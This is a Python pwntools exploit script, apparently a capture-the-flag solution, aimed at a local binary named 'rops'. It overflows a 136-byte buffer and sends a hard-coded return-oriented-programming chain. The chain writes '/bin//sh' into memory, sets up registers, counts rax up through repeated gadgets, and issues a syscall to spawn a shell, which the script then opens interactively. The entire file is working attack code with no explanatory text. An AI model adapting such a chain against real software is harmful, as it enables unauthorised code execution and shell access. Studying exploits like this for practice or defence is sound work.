from pwn import *
from struct import pack

def main():

	binary_path = ELF("./rops")
	offset = 136
	p = cyclic(136)

	p += pack('<Q', 0x000000000040768e) # pop rsi ; ret
	p += pack('<Q', 0x00000000004a80e0) # @ .data
	p += pack('<Q', 0x0000000000445f5c) # pop rax ; ret
	p += '/bin//sh'
	p += pack('<Q', 0x000000000046edd1) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x000000000040768e) # pop rsi ; ret
	p += pack('<Q', 0x00000000004a80e8) # @ .data + 8
	p += pack('<Q', 0x000000000043b245) # xor rax, rax ; ret
	p += pack('<Q', 0x000000000046edd1) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x0000000000401766) # pop rdi ; ret
	p += pack('<Q', 0x00000000004a80e0) # @ .data
	p += pack('<Q', 0x000000000040768e) # pop rsi ; ret
	p += pack('<Q', 0x00000000004a80e8) # @ .data + 8
	p += pack('<Q', 0x000000000041e9f6) # pop rdx ; ret
	p += pack('<Q', 0x00000000004a80e8) # @ .data + 8
	p += pack('<Q', 0x000000000043b245) # xor rax, rax ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000465840) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000040120f) # syscall


	s = process("./rops")
	s.sendlineafter("insert ropchain: ",p)
	s.interactive()
	s.close()

if __name__ == '__main__':
	main()
